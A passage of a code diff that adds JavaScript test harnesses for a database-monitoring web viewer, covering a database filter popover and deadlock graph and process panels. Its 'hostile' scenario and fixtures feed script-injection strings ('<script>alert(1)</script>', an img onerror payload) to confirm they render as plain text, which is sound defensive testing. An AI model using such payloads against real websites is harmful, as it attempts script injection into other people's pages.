+      inventory = names(37);
+      storeChoice(7, ["db01", "db02"]);
+      const { page, builds } = await open();
+      const ctl = () => ({ button: page.byClass("db-filter-button")[0], popover: page.byClass("db-filter-popover")[0] });
+      out.labelBeforeLoad = ctl().button.textContent;
+      out.filterAtFirstBuild = builds()[0].filter;
+      out.popoverHiddenAtStart = ctl().popover.hidden;
+      out.inventoryFetchedBeforeOpen = urls.filter((u) => u.startsWith("/api/server-databases")).length;
+      ctl().button.fire("click");
+      await settle();
+      out.inventoryUrl = urls.filter((u) => u.startsWith("/api/server-databases"))[0];
+      out.popoverOpen = !ctl().popover.hidden;
+      out.labelAfterLoad = ctl().button.textContent;
+      out.selectAllButtons = ctl().popover.all("button").filter((b) => b.textContent === "Select All").length;
+      out.checkedAtOpen = checked(ctl().popover).length;
+      for (const box of boxes(ctl().popover)) if (!box.checked) { box.checked = true; box.fire("change"); }
+      out.checkedAfterAll = checked(ctl().popover).length;
+      const before = builds().length;
+      press(ctl().popover, "Apply");
+      await settle();
+      out.stored = stored()["7"];
+      out.storedCount = (stored()["7"] || []).length;
+      out.redraws = builds().length - before;
+      out.filterAfterApply = builds().pop().filter;
+      out.labelAfterApply = ctl().button.textContent;
+      out.popoverClosed = ctl().popover.hidden;
+      // "All databases" removes the entry and redraws once.
+      ctl().button.fire("click"); await settle();
+      const b2 = builds().length;
+      press(ctl().popover, "All databases"); await settle();
+      out.afterAll = { stored: stored()["7"] ?? null, redraws: builds().length - b2, filter: builds().pop().filter, label: ctl().button.textContent };
+      // An Apply with nothing checked clears too.
+      storeChoice(7, ["db03"]);
+      ctl().button.fire("click"); await settle();
+      for (const box of boxes(ctl().popover)) if (box.checked) { box.checked = false; box.fire("change"); }
+      press(ctl().popover, "Apply"); await settle();
+      out.afterEmpty = { stored: stored()["7"] ?? null, label: ctl().button.textContent };
+    },
+    /* A stored name the inventory no longer offers stays checked and listed, and survives an Apply. */
+    async storedMissing() {
+      inventory = ["A", "B"];
+      storeChoice(7, ["Gone", "A"]);
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      out.listed = boxes(popover).map((b) => b.attrs["aria-label"]);
+      out.checked = checked(popover).map((b) => b.attrs["aria-label"]);
+      press(popover, "Apply"); await settle();
+      out.stored = stored()["7"];
+    },
+    /* #5245: a database whose name is only U+0085 (whitespace to the service, so the service would drop it) can be checked, and
+       Apply refuses it with the sentence about the name, not the one about size; nothing is stored. A name that is only U+FEFF
+       is a real name to the service, so it is kept. */
+    async blankName() {
+      inventory = ["Real", "\u0085", "\ufeff"];
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      const box = (n) => boxes(popover).find((b) => b.attrs["aria-label"] === n);
+      box("\u0085").checked = true; box("\u0085").fire("change");
+      press(popover, "Apply"); await settle();
+      out.message = popover.byClass("db-filter-message")[0].textContent;
+      out.stored = stored()["7"] || null;
+      box("\u0085").checked = false; box("\u0085").fire("change");
+      box("\ufeff").checked = true; box("\ufeff").fire("change");
+      press(popover, "Apply"); await settle();
+      out.storedBom = (stored()["7"] || []).map((n) => n.length + ":" + n.charCodeAt(0).toString(16));
+    },
+    /* The 51st check is refused with a sentence; 50 are kept. */
+    async limit51() {
+      inventory = names(60);
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      for (const box of boxes(popover).slice(0, 50)) { box.checked = true; box.fire("change"); }
+      out.checkedBefore = checked(popover).length;
+      const fifty1 = boxes(popover)[50];
+      fifty1.checked = true; fifty1.fire("change"); // a hand-fired change past the cap
+      out.fiftyFirstChecked = fifty1.checked;
+      out.fiftyFirstDisabled = fifty1.disabled;
+      out.checkedAfter = checked(popover).length;
+      out.hint = popover.byClass("mp-hint")[0].textContent;
+      press(popover, "Apply"); await settle();
+      out.storedCount = (stored()["7"] || []).length;
+    },
+    /* A check past 4,096 encoded bytes is refused: 50 long non-ASCII names, each 557 encoded bytes, hold 7. */
+    async byteBudget() {
+      inventory = long(50);
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      for (const box of boxes(popover)) { box.checked = true; box.fire("change"); }
+      out.checked = checked(popover).length;
+      out.hint = popover.byClass("mp-hint")[0].textContent;
+      out.disabledLeft = boxes(popover).filter((b) => !b.checked && b.disabled).length;
+      out.uncheckedLeft = boxes(popover).filter((b) => !b.checked).length;
+      press(popover, "Apply"); await settle();
+      out.storedCount = (stored()["7"] || []).length;
+      out.bytes = (stored()["7"] || []).reduce((s, n) => s + "&database_name=".length + encodeURIComponent(n).length, 0);
+    },
+    /* The six awkward names come out as six single names, and appear as text, never as markup. */
+    async awkward() {
+      inventory = six;
+      const { page, builds } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      out.listed = popover.byClass("mp-item").map((l) => l.children[1].textContent);
+      out.markupNodes = popover.every((n) => n.tag === "img").length;
+      for (const box of boxes(popover)) { box.checked = true; box.fire("change"); }
+      press(popover, "Apply"); await settle();
+      out.stored = stored()["7"];
+      out.filter = builds().pop().filter;
+      out.label = page.byClass("db-filter-button")[0].textContent;
+      // Reopening lists them again as text.
+      page.byClass("db-filter-button")[0].fire("click"); await settle();
+      out.relisted = popover.byClass("mp-item").map((l) => l.children[1].textContent);
+      out.relistedChecked = checked(popover).length;
+      out.markupNodesAfter = page.every((n) => n.tag === "img").length;
+    },
+    /* #5245: the route cut the list at its cap (truncated: true). The popover says so and that the search box narrows the
+       names listed, and the label reads "of 40+" because 40 is the cap, not the server's count. A list that is not cut says
+       nothing and its label keeps the plain count. */
+    async cutList() {
+      inventory = names(40);
+      inventoryCut = true;
+      storeChoice(7, ["db01"]);
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      out.note = popover.byClass("db-filter-cut").map((n) => n.textContent);
+      out.offered = boxes(popover).length;
+      out.label = page.byClass("db-filter-button")[0].textContent;
+    },
+    async uncutList() {
+      inventory = names(40);
+      storeChoice(7, ["db01"]);
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      out.note = popover.byClass("db-filter-cut").map((n) => n.textContent);
+      out.label = page.byClass("db-filter-button")[0].textContent;
+    },
+    /* #5314: a cut list's search box asks the route for the typed text, after a pause, and shows the newest answer. A database past
+       the cap (named "zz-past-the-cap", not among the 40 loaded) is found; the cut note then says to type a name. A burst of
+       keystrokes sends ONE ask, for the last text. Clearing the box shows the first page again. */
+    async cutSearch() {
+      inventory = names(40);
+      inventoryCut = true;
+      searchHandler = (q) => ({ names: q.startsWith("zz") ? ["zz-past-the-cap"] : [], cut: false });
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      out.noteBefore = popover.byClass("db-filter-cut").map((n) => n.textContent);
+      out.searchUrlsBefore = searchUrls().length;
+      type(popover, "z"); type(popover, "zz"); type(popover, "zz-past");
+      out.searchUrlsDuringPause = searchUrls().length;
+      await sleep(450);
+      out.searchUrls = searchUrls();
+      out.listedAfter = boxes(popover).map((b) => b.attrs["aria-label"]);
+      out.noteAfter = popover.byClass("db-filter-cut").map((n) => n.textContent);
+      out.label = page.byClass("db-filter-button")[0].textContent;
+      // The found name can be checked and applied, though it was never in the first page.
+      boxes(popover)[0].checked = true; boxes(popover)[0].fire("change");
+      type(popover, "");
+      await sleep(100);
+      out.listedCleared = boxes(popover).length;
+      out.searchUrlsAfterClear = searchUrls().length;
+      out.checkedAfterClear = checked(popover).map((b) => b.attrs["aria-label"]);
+      press(popover, "Apply"); await settle();
+      out.stored = stored()["7"];
+    },
+    /* Only the newest answer shows: the answer for the first text is slow and lands after the second text's answer. */
+    async cutSearchNewestWins() {
+      inventory = names(40);
+      inventoryCut = true;
+      searchHandler = (q) => (q === "a1" ? { names: ["a1-old-answer"], cut: false, delay: 400 } : { names: ["a2-new-answer"], cut: false });
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      type(popover, "a1");
+      await sleep(300); // the ask for "a1" is in flight (250 ms pause), its answer is 400 ms away
+      type(popover, "a2");
+      await sleep(350); // the ask for "a2" has been answered
+      out.listedMid = boxes(popover).map((b) => b.attrs["aria-label"]);
+      await sleep(400); // the slow "a1" answer has landed by now
+      out.listedEnd = boxes(popover).map((b) => b.attrs["aria-label"]);
+      out.searchUrls = searchUrls();
+    },
+    /* #5314: the route matched the text itself (PostgreSQL ILIKE), so its answer is listed as sent. "İstanbul" is the real case:
+       JS lowercases it to "i" + a combining dot, so a second local filter on "ist" would hide a name the route returned. While a newer
+       keystroke's answer is still in flight, the last answer is narrowed locally as before, and the newest answer replaces it. */
+    async cutSearchServerFold() {
+      inventory = names(40);
+      inventoryCut = true;
+      searchHandler = (q) => (q === "ist" ? { names: ["İstanbul", "istanbul2"], cut: false }
+        : q === "ista" ? { names: ["İstanbul", "istanbul2"], cut: false, delay: 300 } : { names: [], cut: false });
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      type(popover, "ist");
+      await sleep(450);
+      out.listedAnswered = boxes(popover).map((b) => b.attrs["aria-label"]);
+      type(popover, "ista");
+      await sleep(300); // the ask for "ista" is in flight (250 ms pause): the last answer is narrowed here
+      out.listedInFlight = boxes(popover).map((b) => b.attrs["aria-label"]);
+      await sleep(400);
+      out.listedNewest = boxes(popover).map((b) => b.attrs["aria-label"]);
+    },
+    /* A search that is itself cut says so, and says to type more of the name. */
+    async cutSearchCutAndFails() {
+      inventory = names(40);
+      inventoryCut = true;
+      searchHandler = (q) => (q === "m" ? { names: names(40, "m"), cut: true } : { names: [], cut: false });
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      type(popover, "m");
+      await sleep(450);
+      out.noteCut = popover.byClass("db-filter-cut").map((n) => n.textContent);
+      out.offered = boxes(popover).length;
+    },
+    /* A list that was NOT cut already holds every name: typing filters those locally and asks the route for nothing. */
+    async uncutSearch() {
+      inventory = names(40);
+      searchHandler = () => ({ names: ["should-not-be-asked"], cut: false });
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      type(popover, "db1");
+      await sleep(450);
+      out.searchUrls = searchUrls();
+      out.listed = boxes(popover).map((b) => b.attrs["aria-label"]);
+      out.note = popover.byClass("db-filter-cut").map((n) => n.textContent);
+    },
+    /* The inventory read failed: the sentence shows and the stored names stay listed, so the choice can still be undone. */
+    async loadFails() {
+      inventoryStatus = 500;
+      storeChoice(7, ["Kept"]);
+      const { page } = await open();
+      const popover = page.byClass("db-filter-popover")[0];
+      page.byClass("db-filter-button")[0].fire("click");
+      await settle();
+      out.message = popover.byClass("db-filter-message")[0].textContent;
+      out.listed = boxes(popover).map((b) => b.attrs["aria-label"]);
+      out.label = page.byClass("db-filter-button")[0].textContent;
+    },
+  };
+
+  const boxes = (popover) => popover.all("input").filter((i) => i.attrs.type === "checkbox");
+  const checked = (popover) => boxes(popover).filter((b) => b.checked);
+  const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+  const searchUrls = () => urls.filter((u) => u.startsWith("/api/server-databases") && u.includes("search="));
+  /* Types `text` into the picker's search box (the input the page holds now) the way a keystroke does. */
+  const type = (popover, text) => {
+    const box = popover.every((n) => n.tag === "input" && n.attrs.type === "search")[0];
+    box.value = text;
+    box.fire("input");
+  };
+  const press = (popover, text) => popover.all("button").find((b) => b.textContent === text).fire("click");
+  const builds = () => globalThis.__builds || [];
+
+  /* Renders the real server page for SRV1 and waits for its fleet read and first panel batch. */
+  async function open() {
+    const server = await import(pathToFileURL(path.join(scratch, "pages", "server.js")).href);
+    const main = new FakeNode("main");
+    main.isRoot = true;
+    server.renderServer(main, "SRV1", "cpu", {});
+    await settle();
+    return { page: main, builds };
+  }
+
+  await scenarios[scenario]();
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/web-deadlock-graph-harness.mjs b/Darling/Darling.Tests/web-deadlock-graph-harness.mjs
new file mode 100644
index 0000000000..d9b45c9e1d
--- /dev/null
+++ b/Darling/Darling.Tests/web-deadlock-graph-harness.mjs
@@ -0,0 +1,161 @@
+/* #5246: runs the shipped deadlock graph drawing (wwwroot/js/pages/deadlock-graph.js with util.js) on a small fake DOM and
+   prints what a scenario did as one line of JSON. WebDeadlockGraphBehaviourTests starts it as
+       node web-deadlock-graph-harness.mjs <path to the js folder> <scenario>
+   Only the DOM is a stand-in. The graph objects are shaped as DarlingWebDeadlockGraph.BuildGraph sends them. */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.style = {}; this.open = false; this.dataset = {}; }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); if (k === "class") this.className = String(v); if (k === "open") this.open = true; }
+  getAttribute(k) { return k === "class" ? this.className : (k in this.attrs ? this.attrs[k] : null); }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, ev = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, target: this, ...ev }); }
+  all(pred, acc = []) { if (pred(this)) acc.push(this); for (const c of this.children) c.all && c.all(pred, acc); return acc; }
+  tags(tag) { return this.all((n) => n.tag === tag); }
+  hasClass(c) { return (" " + this.className + " ").includes(" " + c + " "); }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = { createElement: (t) => new FakeNode(t), createElementNS: (ns, t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+
+const root = process.argv[2];
+const mod = await import(pathToFileURL(root + "/pages/deadlock-graph.js").href);
+const out = {};
+
+const proc = (id, spid, x, y, extra = {}) => ({ id, spid, ecid: 0, victim: false, x, y, wait_time_ms: 120, priority: 0, lock_mode: "X", contended_object: "AppDb.dbo.t", sql_text: "update dbo.t set a = 1", ...extra });
+const graph = () => ({
+  width: 700, height: 300, node_width: 240, node_height: 150, is_parallel: false,
+  processes: [proc("p1", 51, 40, 40, { victim: true, sql_text: "select 1 -- <script>alert(1)</script>" }), proc("p2", 52, 420, 40, { sql_text_cut: true })],
+  edges: [
+    { waiter: "p1", owner: "p2", self: false, resource_kind: "keylock", resource_label: "KEY AppDb.dbo.t", request_mode: "X", owner_mode: "U" },
+    { waiter: "p2", owner: "p1", self: false, resource_kind: "keylock", resource_label: "KEY AppDb.dbo.t", request_mode: "X", owner_mode: "X" },
+  ],
+  cycles: [{ index: 1, node_count: 2, x: 20, y: 20, width: 660, height: 260 }],
+});
+const row = (extra = {}) => ({ dedup_key: "k1", deadlock_time: "2026-01-01T00:00:00Z", graph: graph(), ...extra });
+const open = (cell) => { cell.open = true; cell.fire("toggle"); };
+
+switch (process.argv[3]) {
+  case "lazy": {
+    const cell = mod.deadlockGraphCell("srv", row());
+    out.tag = cell.tag;
+    out.summary = cell.tags("summary")[0].textContent;
+    out.svgBefore = cell.tags("svg").length;
+    open(cell);
+    out.svgAfter = cell.tags("svg").length;
+    cell.open = false; cell.fire("toggle"); open(cell);
+    out.svgAfterReopen = cell.tags("svg").length;
+    break;
+  }
+  case "draws": {
+    const cell = mod.deadlockGraphCell("srv", row());
+    open(cell);
+    out.nodes = cell.all((n) => n.hasClass("dlg-node")).length;
+    out.victims = cell.all((n) => n.hasClass("dlg-node") && n.hasClass("victim")).length;
+    out.paths = cell.all((n) => n.hasClass("dlg-edge")).length;
+    out.markerEnds = cell.all((n) => n.attrs["marker-end"]).length;
+    out.cycleFrames = cell.all((n) => n.hasClass("dlg-cycle")).length;
+    out.labels = cell.all((n) => n.hasClass("dlg-edge-label")).map((n) => n.children[0] ? n._text : n._text);
+    out.viewBox = cell.tags("svg")[0].attrs.viewBox;
+    out.titles = cell.tags("title").map((n) => n.textContent);
+    out.selectedAtOpen = cell.all((n) => n.hasClass("selected")).map((n) => n.children.find((c) => c.hasClass("dlg-spid")).textContent);
+    out.head = cell.all((n) => n.hasClass("dlg-side-head"))[0].textContent;
+    break;
+  }
+  case "click": {
+    const cell = mod.deadlockGraphCell("srv", row());
+    open(cell);
+    const nodes = cell.all((n) => n.hasClass("dlg-node"));
+    nodes[1].fire("click");
+    out.head = cell.all((n) => n.hasClass("dlg-side-head"))[0].textContent;
+    out.pre = cell.tags("pre")[0].textContent;
+    out.cutNote = cell.all((n) => n.hasClass("dlg-prop") && n.textContent.includes("cut here")).length;
+    out.selected = cell.all((n) => n.hasClass("selected")).length;
+    nodes[0].fire("keydown", { key: "Enter" });
+    out.headAfterEnter = cell.all((n) => n.hasClass("dlg-side-head"))[0].textContent;
+    break;
+  }
+  case "hostile": {
+    const g = graph();
+    g.processes[0].sql_text = '<script>alert(1)</script><img src=x onerror=alert(1)>';
+    g.processes[0].proc_name = "<b>proc</b>";
+    const cell = mod.deadlockGraphCell("srv", row({ graph: g }));
+    open(cell);
+    out.scripts = cell.all((n) => n.tag === "script" || n.tag === "img" || n.tag === "b").length;
+    out.pre = cell.tags("pre")[0].textContent;
+    break;
+  }
+  case "twoCycles": {
+    const g = graph();
+    g.cycles = [{ index: 1, node_count: 2, x: 20, y: 20, width: 330, height: 260 }, { index: 5, node_count: 2, x: 380, y: 20, width: 300, height: 260 }, { index: 6, node_count: 1, x: 20, y: 300, width: 100, height: 100 }];
+    const cell = mod.deadlockGraphCell("srv", row({ graph: g }));
+    open(cell);
+    out.cycleFrames = cell.all((n) => n.hasClass("dlg-cycle")).length;
+    out.cycleLabels = cell.all((n) => n.hasClass("dlg-cycle-label")).map((n) => n._text);
+    out.frameRects = cell.all((n) => n.hasClass("dlg-cycle")).map((n) => [n.attrs.x, n.attrs.y, n.attrs.width, n.attrs.height].join(","));
+    out.summary = cell.tags("summary")[0].textContent;
+    break;
+  }
+  case "selfLoop": {
+    const g = {
+      width: 400, height: 300, node_width: 240, node_height: 150, is_parallel: true,
+      processes: [proc("p1", 60, 80, 80, { victim: true })],
+      edges: [{ waiter: "p1", owner: "p1", self: true, resource_kind: "exchangeEvent", resource_label: "exchangeEvent", request_mode: "", owner_mode: "" }],
+      cycles: [{ index: 1, node_count: 1, x: 20, y: 20, width: 360, height: 260 }],
+    };
+    const cell = mod.deadlockGraphCell("srv", row({ graph: g }));
+    open(cell);
+    out.paths = cell.tags("path").filter((n) => n.hasClass("dlg-edge")).length;
+    out.ellipses = cell.tags("ellipse").length;
+    out.arrowheads = cell.tags("path").filter((n) => n.hasClass("dlg-loop-head")).length;
+    out.viewBox = cell.tags("svg")[0].attrs.viewBox;
+    out.label = cell.all((n) => n.hasClass("dlg-edge-label"))[0]._text;
+    out.cycleFrames = cell.all((n) => n.hasClass("dlg-cycle")).length;
+    out.summary = cell.tags("summary")[0].textContent;
+    break;
+  }
+  case "shortLabel": {
+    const cell = mod.deadlockGraphCell("srv", row({ graph: { ...graph(), edges: [{ waiter: "p1", owner: "p2", self: false, resource_kind: "pagelock", resource_label: "PAGE hammerdb_tpcc.dbo.new_order", request_mode: "X", owner_mode: "U" }] } }));
+    open(cell);
+    out.label = cell.all((n) => n.hasClass("dlg-edge-label"))[0]._text;
+    out.title = cell.tags("title")[0].textContent;
+    break;
+  }
+  case "previewFallback": {
+    const g = graph();
+    delete g.processes[0].sql_text;
+    const cell = mod.deadlockGraphCell("srv", row({ graph: g, processes: [{ process_id: "p1", sql_text: "from the preview" }] }));
+    open(cell);
+    out.pre = cell.tags("pre")[0].textContent;
+    break;
+  }
+  case "tooLarge": {
+    const cell = mod.deadlockGraphCell("srv", { graph: { too_large: true, process_count: 75 } });
+    out.tag = cell.tag;
+    out.text = cell.textContent;
+    break;
+  }
+  case "truncatedXml": {
+    out.preview = mod.deadlockGraphCell("srv", { deadlock_graph_xml_truncated: true }).textContent;
+    out.none = mod.deadlockGraphCell("srv", {}).textContent;
+    break;
+  }
+  case "openSurvivesRebuild": {
+    const first = mod.deadlockGraphCell("srv", row());
+    open(first);
+    const rebuilt = mod.deadlockGraphCell("srv", row());
+    out.reopened = rebuilt.open;
+    out.svg = rebuilt.tags("svg").length;
+    const other = mod.deadlockGraphCell("other", row());
+    out.otherServerOpen = other.open;
+    out.otherServerSvg = other.tags("svg").length;
+    break;
+  }
+  default:
+    throw new Error("unknown scenario " + process.argv[3]);
+}
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-deadlock-processes-harness.mjs b/Darling/Darling.Tests/web-deadlock-processes-harness.mjs
new file mode 100644
index 0000000000..efdb35704f
--- /dev/null
+++ b/Darling/Darling.Tests/web-deadlock-processes-harness.mjs
@@ -0,0 +1,235 @@
+/* Runs the web viewer's Blocking tab "Deadlock Graphs" panel (server-tabs.js with util.js, panels.js, charts.js and
+   read-fields.js) against a scripted get_deadlock_detail answer, expands and collapses a deadlock's process sub-grid
+   as a click on its <details> would, rebuilds the panel the way the 60 s poll does, and prints what it drew as one
+   line of JSON. WebDeadlockProcessesBehaviourTests starts it as
+       node web-deadlock-processes-harness.mjs <path to wwwroot/js> <scenario>
+   The DOM and fetch are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.listeners = {};
+    this.open = false;
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    return child;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+    if (name === "open") this.open = true;
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, listener) {
+    (this.listeners[type] = this.listeners[type] || []).push(listener);
+  }
+  getBoundingClientRect() {
+    return { left: 0, top: 0, width: 1000, height: 320 };
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+};
+
+const fetches = [];
+let answer = () => ({ status: 200, body: {} });
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  const reply = answer(new URL(String(url), "http://viewer.test"));
+  const raw = reply.body === undefined ? "" : JSON.stringify(reply.body);
+  return { status: reply.status, ok: reply.status >= 200 && reply.status < 300, text: async () => raw };
+};
+
+const rejections = [];
+process.on("unhandledRejection", (e) => rejections.push(String(e && e.stack ? e.stack : e)));
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "deadlock-processes-"));
+let modules;
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = { util: await load("util.js"), tabs: await load(path.join("pages", "server-tabs.js")) };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const data = (body) => ({ status: 200, body });
+const tool = (url) => url.pathname.replace("/api/read/", "");
+
+const PROCESSES = [
+  { victim: true, spid: 55, wait_time_ms: 1500, log_used: 200, transaction_count: 1, priority: 0, deadlock_type: "Regular", database_name: "AppDb", lock_mode: "X", login_name: "app_login", host_name: "HOST1", client_app: "TestApp", isolation_level: "read committed (2)", transaction_name: "user_transaction", wait_resource: "KEY: 5:72", sql_text: "UPDATE dbo.t SET c = 1" },
+  { victim: false, spid: 60, wait_time_ms: 1200, log_used: 300, transaction_count: 1, priority: 0, deadlock_type: "Regular", database_name: "AppDb", login_name: "app_login", sql_text: "UPDATE dbo.t SET c = 2" },
+];
+const DEADLOCK = (key, processes, truncated = 0) => ({
+  collection_time: "2026-07-01T10:00:06.0000000",
+  deadlock_time: "2026-07-01T10:00:05.0000000",
+  victim_process_id: "process1",
+  dedup_key: key,
+  processes,
+  processes_truncated: truncated,
+  deadlock_graph_xml: "<deadlock/>",
+  deadlock_graph_xml_truncated: false,
+});
+
+const bodies = {
+  two: { server: "SRV1", deadlocks: [DEADLOCK("k1", PROCESSES), DEADLOCK("k2", PROCESSES.slice(0, 1))] },
+  noprocesses: { server: "SRV1", deadlocks: [DEADLOCK("k1", [])] },
+  allcut: { server: "SRV1", deadlocks: [DEADLOCK("k1", PROCESSES), DEADLOCK("k5", [], 6)] },
+  capped: { server: "SRV1", deadlocks: [DEADLOCK("k1", PROCESSES, 3)] },
+};
+
+/* #5244: one graph whose processes span databases A, B and C (and one with none), one with A only, one with an unknown database
+   only. `graph` is the already laid-out graph the service sends; the process rows are filtered, the graph is not. */
+const PROC = (spid, database) => ({ victim: spid === 1, spid, wait_time_ms: 10, deadlock_type: "Regular", ...(database === undefined ? {} : { database_name: database }) });
+const GRAPH = (n) => ({ process_count: n, processes: Array.from({ length: n }, (_, i) => ({ id: "p" + i, spid: i + 1, x: 0, y: 0 })), edges: [], cycles: [] });
+const WITH_GRAPH = (key, processes) => ({ ...DEADLOCK(key, processes), graph: GRAPH(processes.length) });
+bodies.spread = {
+  server: "SRV1",
+  deadlocks: [
+    WITH_GRAPH("s1", [PROC(1, "A"), PROC(2, "B"), PROC(3, "C")]),
+    WITH_GRAPH("s2", [PROC(4, "A")]),
+    WITH_GRAPH("s3", [PROC(5)]),
+  ],
+};
+
+/* #5244 L1: the page row budget cut two rows of this deadlock before the browser filter ran; the one row sent is in C. */
+bodies.cut = { server: "SRV1", deadlocks: [{ ...WITH_GRAPH("t1", [PROC(1, "C")]), processes_truncated: 2 }] };
+
+const all = (node, tag, found = []) => {
+  if (!node || typeof node !== "object") return found;
+  if (node.tag === tag) found.push(node);
+  node.children.forEach((c) => all(c, tag, found));
+  return found;
+};
+
+/* One build of the tab, settled, and the Deadlock Graphs panel out of it. */
+async function buildPanel(body) {
+  answer = (url) => (tool(url) === "get_deadlock_detail" ? data(body) : data({}));
+  const tab = modules.tabs.SERVER_TABS.find((t) => t.id === "blocking");
+  const nodes = tab.build("SRV1", { hours: 24, label: "last 24 hours" }).filter((n) => n && typeof n === "object");
+  const root = new FakeNode("main");
+  modules.util.mount(root, nodes);
+  for (let i = 0; i < 200; i++) await new Promise((r) => setTimeout(r, 0));
+  const panel = root.children.find((n) => n.textContent.startsWith("Deadlock Graphs")) || null;
+  return panel;
+}
+
+const toggle = (details, open) => {
+  details.open = open;
+  (details.listeners.toggle || []).forEach((l) => l());
+};
+const processDetails = (panel) => all(panel, "details").filter((d) => /process/.test(d.children[0].textContent));
+const state = (panel) => {
+  const found = processDetails(panel);
+  return {
+    summaries: found.map((d) => d.children[0].textContent),
+    open: found.map((d) => d.open),
+    subHeaders: found.map((d) => all(d, "th").map((th) => th.textContent)),
+    subRows: found.map((d) => all(d, "tr").map((tr) => all(tr, "td").map((td) => td.textContent)).filter((c) => c.length)),
+  };
+};
+
+const out = { fetches, rejections };
+if (scenario === "closed") {
+  const panel = await buildPanel(bodies.two);
+  Object.assign(out, state(panel));
+} else if (scenario === "expandSurvivesRebuild") {
+  let panel = await buildPanel(bodies.two);
+  toggle(processDetails(panel)[0], true);
+  out.afterToggle = state(panel).open;
+  panel = await buildPanel(bodies.two);
+  out.afterRebuild = state(panel).open;
+} else if (scenario === "collapseSurvivesRebuild") {
+  let panel = await buildPanel(bodies.two);
+  toggle(processDetails(panel)[1], true);
+  toggle(processDetails(panel)[1], false);
+  panel = await buildPanel(bodies.two);
+  out.afterRebuild = state(panel).open;
+} else if (scenario === "otherServerKeyed") {
+  let panel = await buildPanel(bodies.two);
+  toggle(processDetails(panel)[0], true);
+  const tab = modules.tabs.SERVER_TABS.find((t) => t.id === "blocking");
+  answer = (url) => (tool(url) === "get_deadlock_detail" ? data(bodies.two) : data({}));
+  const root = new FakeNode("main");
+  modules.util.mount(root, tab.build("SRV2", { hours: 24, label: "x" }).filter((n) => n && typeof n === "object"));
+  for (let i = 0; i < 200; i++) await new Promise((r) => setTimeout(r, 0));
+  out.otherServerOpen = state(root.children.find((n) => n.textContent.startsWith("Deadlock Graphs"))).open;
+} else if (scenario === "noprocesses") {
+  const panel = await buildPanel(bodies.noprocesses);
+  out.subgrids = processDetails(panel).length;
+  out.text = panel.textContent;
+} else if (scenario === "allcut") {
